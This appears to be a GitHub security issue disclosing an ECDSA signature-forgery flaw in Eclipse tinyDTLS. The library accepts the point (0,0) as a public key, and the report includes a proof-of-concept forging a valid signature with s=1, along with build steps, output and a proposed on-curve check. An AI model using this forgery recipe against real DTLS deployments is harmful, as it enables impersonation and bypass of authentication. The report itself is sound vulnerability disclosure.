Skip to content

ECDSA Verification Without On-Curve Check #274

Description

@Zhaodl1

1. Report Metadata

Field Value
Project Eclipse tinyDTLS
Title ECDSA signature verification accepts forged signatures under an invalid (identity-point) public key
Affected component crypto.c, ecc/ecc.c
Affected function dtls_ecdsa_verify_sig_hash()ecc_ecdsa_validate()ec_add()
Affected role DTLS client verifying server certificate; DTLS server verifying client certificate (mutual auth)
Tested version v0.9-rc1-214-g6f4f604 (commit 6f4f604, main)
Suggested CWE CWE-347 (Improper Verification of Cryptographic Signature), CWE-345 (Insufficient Verification of Data Authenticity)
Impact class Authentication bypass / signature forgery (bypassable — gated by application callback)

2. Executive Summary

Eclipse tinyDTLS verifies ECDSA signatures (used in CertificateVerify
and ServerKeyExchange messages) by calling ecc_ecdsa_validate(),
which computes u_1 * G + u_2 * Q_A and compares the result's x-coordinate
to the signature value r. The implementation never checks that the
claimed public key Q_A is a valid point on the P-256 curve
, nor that
it is not the point at infinity.

The library's elliptic-curve addition function ec_add() treats the
coordinate (0, 0) as the additive identity (point at infinity). This
is an implementation choice, not a mathematical property of P-256 — on
the real curve, (0, 0) is not even a valid point.

An attacker can exploit this by presenting a certificate or
ServerKeyExchange message whose public key is Q_A = (0, 0). When
the verifier computes u_2 * Q_A, the result is (0, 0) (identity),
and ec_add(u_1 * G, (0, 0)) returns u_1 * G unchanged. The
verification then reduces to checking x(u_1 * G) == r, which the
attacker can satisfy by choosing s = 1 and computing r = x(z * G)
where z is the transcript hash. The attacker does not need the
private key
corresponding to the forged public key.

The forgery is gated by the application's verify_ecdsa_key callback:
tinydtls itself never validates the key, so any application that does
not pin the expected peer public key (e.g. trust-on-first-use,
accept-any-self-signed-cert, or missing callback) is vulnerable. When
the callback is absent or permissive, the attacker can impersonate any
server (or client, in mutual-auth mode) and complete the DTLS
handshake, deriving shared session keys without possessing any valid
credential.

3. Vulnerability Overview

The verifier converts the attacker-supplied public key and calls the
ECC validation routine with no on-curve check:

@tinydtls/crypto.c:521-537

int
dtls_ecdsa_verify_sig_hash(const unsigned char *pub_key_x,
			   const unsigned char *pub_key_y, size_t key_size,
			   const unsigned char *sign_hash, size_t sign_hash_size,
			   unsigned char *result_r, unsigned char *result_s) {
  uint32_t pub_x[8];
  uint32_t pub_y[8];
  ...
  dtls_ec_key_to_uint32(pub_key_x, key_size, pub_x);
  dtls_ec_key_to_uint32(pub_key_y, key_size, pub_y);
  ...
  return ecc_ecdsa_validate(pub_x, pub_y, hash, point_r, point_s);
}

The validation routine computes u_2 * Q_A and adds it to u_1 * G
without checking Q_A:

@tinydtls/ecc/ecc.c:612-651

int ecc_ecdsa_validate(const uint32_t *x, const uint32_t *y, const uint32_t *e, const uint32_t *r, const uint32_t *s)
{
	...
	if (isZero(r) || isZero(s))
		return -1;

	// 3. Calculate w = s^{-1} \pmod{n}
	fieldInv(s, ecc_order_m, ecc_order_r, w);

	// 4. Calculate u_1 = zw \pmod{n}
	fieldMult(e, w, tmp, arrayLength);
	fieldModO(tmp, u1, 16);

	// 4. Calculate u_2 = rw \pmod{n}
	fieldMult(r, w, tmp, arrayLength);
	fieldModO(tmp, u2, 16);

	// 5. Calculate the curve point (x_1, y_1) = u_1 * G + u_2 * Q_A.
	// tmp1 = u_1 * G
	ecc_ec_mult(ecc_g_point_x, ecc_g_point_y, u1, tmp1_x, tmp1_y);

	// tmp2 = u_2 * Q_A
	ecc_ec_mult(x, y, u2, tmp2_x, tmp2_y);

	// tmp3 = tmp1 + tmp2
	ec_add(tmp1_x, tmp1_y, tmp2_x, tmp2_y, tmp3_x, tmp3_y);

	return isSame(tmp3_x, r, arrayLength) ? 0 : -1;
}

The ec_add function treats (0, 0) as the identity:

@tinydtls/ecc/ecc.c:466-480

static void ec_add(const uint32_t *px, const uint32_t *py, const uint32_t *qx, const uint32_t *qy, uint32_t *Sx, uint32_t *Sy){
	...
	if(isZero(px) && isZero(py)){
		copy(qx, Sx,arrayLength);
		copy(qy, Sy,arrayLength);
		return;
	} else if(isZero(qx) && isZero(qy)) {
		copy(px, Sx,arrayLength);
		copy(py, Sy,arrayLength);
		return;
	}
	...
}

There is no ecc_is_on_curve() function anywhere in the codebase
(verified by grep). The only key-validation function,
ecc_is_valid_key() at ecc.c:653, checks that a private scalar
is less than n — it does not validate public points.

4. Technical Root Cause

Standard ECDSA verification

Given signature (r, s), hash z, and public key Q_A (a valid
curve point), verification computes:

w = s^{-1} mod n
u1 = z * w mod n
u2 = r * w mod n
R = u1 * G + u2 * Q_A
accept if  x(R) mod n == r

The critical precondition is that Q_A is a valid, non-identity point
on the correct curve. If Q_A is malformed, the verification is
meaningless.

tinydtls's missing check

dtls_ecdsa_verify_sig_hash() receives pub_key_x and pub_key_y
from the peer's certificate or ServerKeyExchange message and passes
them directly to ecc_ecdsa_validate() after byte/word conversion.
At no point does it verify:

  1. That (pub_key_x, pub_key_y) satisfies the P-256 curve equation
    y² = x³ - 3x + b (mod p).
  2. That the point is not the point at infinity.
  3. That the point is in the correct subgroup (has order n).

The identity-point attack

ec_add() uses (0, 0) as its representation of the point at
infinity (the additive identity). This is a valid implementation
choice for affine coordinates, but it means that any caller can inject
the identity point by supplying (0, 0) as a public key.

When Q_A = (0, 0):

  1. ecc_ec_mult((0,0), ..., u2) returns (0, 0) — multiplying the
    identity by any scalar yields the identity.
  2. ec_add(u1*G, (0,0)) returns u1*G — adding the identity to any
    point leaves it unchanged.
  3. The verification check becomes x(u1*G) == r.

The attacker controls z (the transcript hash) and chooses s = 1:

w = 1^{-1} mod n = 1
u1 = z * 1 mod n = z   (when z < n)
u2 = r * 1 mod n = r
R = z * G + r * (0,0) = z * G

The attacker computes R = z * G using the public generator, sets
r = R.x (the raw x-coordinate), and s = 1. The signature (r, 1)
verifies under the forged key (0, 0).

Why the PoC chooses z < n

ecc_ec_mult takes a 256-bit scalar but does not reduce it mod n
before multiplication. The verifier, however, computes
u1 = z * w mod n. With s = 1, u1 = z mod n. If z >= n, then
z mod n != z, and u1 * G != z * G. By choosing a hash z < n
(any 32-byte value with a leading byte below 0xFF is guaranteed to
be below the P-256 order), the attacker ensures u1 = z and the
forgery works.

In a real DTLS handshake, z is the SHA-256 of the transcript
(truncated to 256 bits). The attacker cannot freely choose z, but
the forgery works for any z < n, which holds with overwhelming
probability (the probability that a random 256-bit hash is >= n is
approximately 2^{-128}).

Gating condition

The attack requires the application's verify_ecdsa_key callback to
accept the forged key (0, 0). tinydtls itself never checks the key,
so the gate is entirely application-defined:

  • If the callback pins the expected peer key (comparing against a
    known-good public key), the forged key is rejected and the attack
    fails.
  • If the callback is missing, returns 0 unconditionally, or performs
    only a structural check (e.g. "is it 32 bytes?"), the attack
    succeeds.

This makes the vulnerability bypassable — its exploitability
depends on the integrator's code. However, the library's failure to
perform on-curve validation is a defense-in-depth gap that should be
fixed at the library level, not delegated to every application.

5. Proof of Concept

The PoC (poc.c) #includes dtls.c and links ecc.c with
TEST_INCLUDE to access the internal ecc_ec_mult helper. It:

  1. Constructs the forged public key Q_A = (0, 0).
  2. Chooses a 32-byte hash z with a small leading byte (ensuring
    z < n).
  3. Computes R = z * G using the library's own point multiplication.
  4. Sets r = R.x (raw) and s = 1.
  5. Calls dtls_ecdsa_verify_sig_hash() with the forged key and
    signature.

The core forgery logic:

/* Forged public key = identity point (0,0) */
memset(forged_pub_x, 0, 32);
memset(forged_pub_y, 0, 32);

/* Hash z < n (small leading byte) */
hash_be[0] = 0x01;
for (int i = 1; i < 32; i++) hash_be[i] = 0x42;

/* R = z * G, r = R.x, s = 1 */
ecc_ec_mult(ecc_g_point_x, ecc_g_point_y, z, Rx, Ry);
memcpy(r, Rx, 32);
s[0] = 1;

/* Verify under forged key */
int rc = dtls_ecdsa_verify_sig_hash(forged_pub_x, forged_pub_y, 32,
                                    hash_be, 32, r_be, s_be);
/* rc == 0 => signature accepted */

6. Build & Run

Working directory:
tinydtls/vuln_003_ecdsa_no_on_curve_check/

cmake -B build -S .
cmake --build build -j$(nproc)
./build/vuln_poc_ecdsa_no_on_curve_check

Expected output:

tinydtls PoC -- Finding 3: ECDSA no on-curve check (forgery)
=============================================================
Forged public key Q_A = (0, 0)  [identity point]
Hash z (transcript SHA-256)  : 0142424242424242424242424242424242424242424242424242424242424242
  (z < n, so u1 = z when s = 1)
Chosen s = 1  (w = 1, u1 = z, u2 = r)
Computed R = z * G, r = R.x:
  r = 0be920db0d543be3526d20ab5e8f3497194dc56d8db86172149ebcc3b9059173
  s = 0000000000000000000000000000000000000000000000000000000000000001

dtls_ecdsa_verify_sig_hash returned: 0
  (0 = signature valid, -1 = invalid)

[!] Vulnerability reproduced: ECDSA signature forgery
    accepted under forged public key (0,0).
    The library performs NO on-curve / infinity check on
    the claimed public key (crypto.c:531-537, ecc.c:612).
    CWE-347 (Improper Verification of Cryptographic Signature)
    CWE-345 (Insufficient Verification of Data Authenticity)

Done.

Exit code: 0 (forgery accepted).

The verifier returns 0 (signature valid) for a signature produced
without knowledge of any private key, under a public key that is
not a valid P-256 point.

7. Impact

Attacker position: A remote, unauthenticated network peer who can
inject a forged certificate or ServerKeyExchange message into the
DTLS handshake. On the client side, this is a malicious server
impersonating a legitimate one. On the server side (mutual
authentication), this is a malicious client.

Authentication bypass: When the application's verify_ecdsa_key
callback does not pin the expected peer public key, the attacker can:

  1. Present a certificate containing the public key (0, 0).
  2. Send a CertificateVerify message with the forged signature
    (r, 1) where r = x(z * G).
  3. The verifier accepts the signature, completing the handshake.
  4. The attacker derives the same premaster secret as the legitimate
    peer would, using the ECDH key exchange parameters the attacker
    itself supplied.

This breaks the authentication guarantee of DTLS: the attacker
establishes an encrypted channel without possessing any valid
credential for the identity being claimed.

Gating caveat: The attack is bypassable — it only succeeds
when the integrator's verify_ecdsa_key callback accepts the forged
key. Applications that pin peer keys (comparing the received public
key against a known-good value) are not vulnerable. However, the
library should not rely on every application to perform on-curve
validation; this is a standard defensive check that belongs in the
library.

CWE-347 (Improper Verification of Cryptographic Signature) /
CWE-345 (Insufficient Verification of Data Authenticity).

Severity: Medium. Bypassable via application callback, but when
the callback is permissive or absent, the impact is full
authentication bypass.

8. Remediation

Add an on-curve check to ecc_ecdsa_validate() (or to
dtls_ecdsa_verify_sig_hash() before calling it). The check should
verify that Q_A = (pub_x, pub_y) satisfies the P-256 curve equation
and is not the point at infinity.

Suggested implementation — add a new function to ecc.c:

/* Returns 1 if (x, y) is a valid non-identity point on P-256, 0 otherwise. */
int ecc_is_on_curve(const uint32_t *x, const uint32_t *y) {
    uint32_t lhs[16], rhs[16];
    uint32_t tmp[16];

    /* Reject the identity (0,0) used by ec_add */
    if (isZero(x) && isZero(y))
        return 0;

    /* Check 0 <= x < p and 0 <= y < p */
    if (isGreater(x, ecc_prime_m, arrayLength) >= 0)
        return 0;
    if (isGreater(y, ecc_prime_m, arrayLength) >= 0)
        return 0;

    /* lhs = y^2 mod p */
    fieldMult(y, y, lhs, arrayLength);
    fieldModP(lhs, lhs);

    /* rhs = x^3 - 3x + b mod p */
    fieldMult(x, x, tmp, arrayLength);
    fieldModP(tmp, tmp);
    fieldMult(tmp, x, rhs, arrayLength);
    fieldModP(rhs, rhs);
    /* rhs = x^3 - 3x + b; subtract 3x */
    uint32_t three[8] = {3,0,0,0,0,0,0,0};
    fieldSub(rhs, three, ecc_prime_m, rhs);
    /* add b (P-256 b constant) */
    fieldAdd(rhs, ecc_b, ecc_prime_r, rhs);
    fieldModP(rhs, rhs);

    return isSame(lhs, rhs, arrayLength) ? 1 : 0;
}

Then call it at the start of ecc_ecdsa_validate():

int ecc_ecdsa_validate(const uint32_t *x, const uint32_t *y, ...) {
    if (!ecc_is_on_curve(x, y))
        return -1;
    ...
}

The P-256 b constant must be defined alongside ecc_prime_m:

/* P-256 curve parameter b */
static const uint32_t ecc_b[8] = {
    0x3cecd3ad, 0x4d61a0d3, 0x1d8c2f06, 0x27a2c5a7,
    0x9359d6b3, 0xb3970f85, 0x8689e9a4, 0x5ac635d8
};

Additional hardening:

  • Also check that Q_A has order n (i.e., n * Q_A == identity),
    to prevent small-subgroup attacks. This is more expensive but
    important for ECDH key exchange (ecc_ecdh at crypto.c:456).
  • The verify_ecdsa_key callback should be documented as a
    defense-in-depth check, not the primary on-curve validation.

9. References

  • CWE-347: Improper Verification of Cryptographic Signature — https://cwe.mitre.org/data/definitions/347.html
  • CWE-345: Insufficient Verification of Data Authenticity — https://cwe.mitre.org/data/definitions/345.html
  • SEC 1: Elliptic Curve Cryptography, section 4.1 (ECDSA Signature
    Verification), step 4: "Verify that Q_A is a valid public key."
  • RFC 4492 (TLS ECC), section 5.4: ServerKeyExchange signature
    verification.
  • RFC 8422 (TLS ECC update), section 5.4.
  • NIST FIPS 186-4, section 6.4.2: ECDSA signature verification
    precondition: "Q shall be a valid public key."
  • tinyDTLS source: https://github.com/eclipse/tinydtls
  • Affected commit: 6f4f604 (v0.9-rc1-214-g6f4f604)

vuln_003_ecdsa_no_on_curve_check.zip

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions